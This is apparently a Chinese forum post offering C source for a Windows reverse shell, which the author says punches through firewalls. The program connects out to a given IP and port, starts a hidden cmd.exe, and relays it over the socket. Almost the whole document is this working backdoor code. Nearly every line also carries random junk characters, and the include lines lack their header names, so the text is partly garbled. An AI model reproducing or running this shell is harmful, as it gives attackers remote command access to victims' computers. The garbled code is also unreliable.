这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 6PC?*^v
F+L%Ho;@P
/* ============================== c2L\m*^o
Rebound port in Windows NT #o,FVYYj
By wind,2006/7 /%)(Uz
===============================*/ vP\6=71Y
#include / %iS\R%ca
#include Z~[eG"6zI
4~8-^^
#pragma comment(lib,"wsock32.lib") TX7dwmt)N
50a';!H
void OutputShell(); "<f?.l\+
SOCKET sClient; [+="I
&
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; [.w `r>kZI
5Zmc3&vRl
void main(int argc,char **argv) TI\EkKu"
{ \rE] V,,2
WSADATA stWsaData; U#<{RqY
int nRet; F`,Hf Cb\
SOCKADDR_IN stSaiClient,stSaiServer; Nq|y\3]
SR_-wD
if(argc != 3) Tt=;of{
{ %a:T9v
printf("Useage:\n\rRebound DestIP DestPort\n"); @Vy Ne(U
return;
m3^D~4
} Z,"YMUl'
o/[Ks;l
WSAStartup(MAKEWORD(2,2),&stWsaData); =NSunW!
d(Hqj#`-31
sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); 0fK#:6
(:h&c6'S)b
stSaiClient.sin_family = AF_INET; =W>a ~e]/
stSaiClient.sin_port = htons(0); <fA}_BH%]
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); ltMcEv-d0
@\M^Zuo
if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) /!y;h-
{ {xOzxLB;
printf("Bind Socket Failed!\n"); `:jF%3ks+0
return; e)}=T0
s
} TtQd#mSI\
a^ys7UV
stSaiServer.sin_family = AF_INET; l.Z+.<@
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); nZG
zez
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); k_?~@G[I
`tcX[(`
if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) ]24]id
{ B\%
Gp}
printf("Connect Error!"); G*~CB\K_
return; Xq "Es
} 9l:[jsk<d
OutputShell(); BB ::zBg
} ZwiXeD+4
<*P)"G
void OutputShell() .ud&$-[a
{ xsN OjHk
char szBuff[1024]; jj]|}G
SECURITY_ATTRIBUTES stSecurityAttributes; HiD%BL>%
OSVERSIONINFO stOsversionInfo; q'IMt7}
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; JSaF7(a =
STARTUPINFO stStartupInfo; r=p^~tuyxr
char *szShell; AJ3Byb=.
PROCESS_INFORMATION stProcessInformation; cIK4sOTJ&
unsigned long lBytesRead; <7zz"R
%b~ND?nn-
stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); /zr)9LQY0
$vn)(zn+
stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); Bgp%hK
stSecurityAttributes.lpSecurityDescriptor = 0; fZ^ad1o
stSecurityAttributes.bInheritHandle = TRUE; YPO24_B
JNP6qM
^t$uDQ[hA
CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); ;Cjj_9e,:
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); n36iY'<) G
"$ISun=8
ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); gA3f@7}d
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; }]<|`FNc
stStartupInfo.wShowWindow = SW_HIDE; @x;(yqOb
stStartupInfo.hStdInput = hReadPipe; NS;LFeGD
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; bfpoX,:
1N5lI97j
GetVersionEx(&stOsversionInfo); -.L )\
FIu^Qd
switch(stOsversionInfo.dwPlatformId) a4Z e!l(
{ 2Uu!_n}tNF
case 1: QjYw^[o
szShell = "command.com"; v yt|x5
break; <'BsQHI
default: FPPl^
szShell = "cmd.exe"; P^U.VXY}
break; Vock19P
} 4$U^)\06W
/;!I.|j
CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); Xn>>hzj-x?
K$r)^K=s
send(sClient,szMsg,77,0); .YP&E1lNi
while(1) 73SH[f[g
{ }9!}T~NMs
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); uc|ej9N
if(lBytesRead) bqaj~:}@
{ [$:L|V!{
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); 8U7dd[
send(sClient,szBuff,lBytesRead,0); Lr=^0
} )HvBceN
else h-SKw=n
{ rhly.f7N=A
lBytesRead=recv(sClient,szBuff,1024,0); ug;~dhe~
if(lBytesRead<=0) break; {kb7u5-
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); T21?~jS
} `0MQL@B
} !|- U,
zJ:%iL@
return; 4X+I2CD
}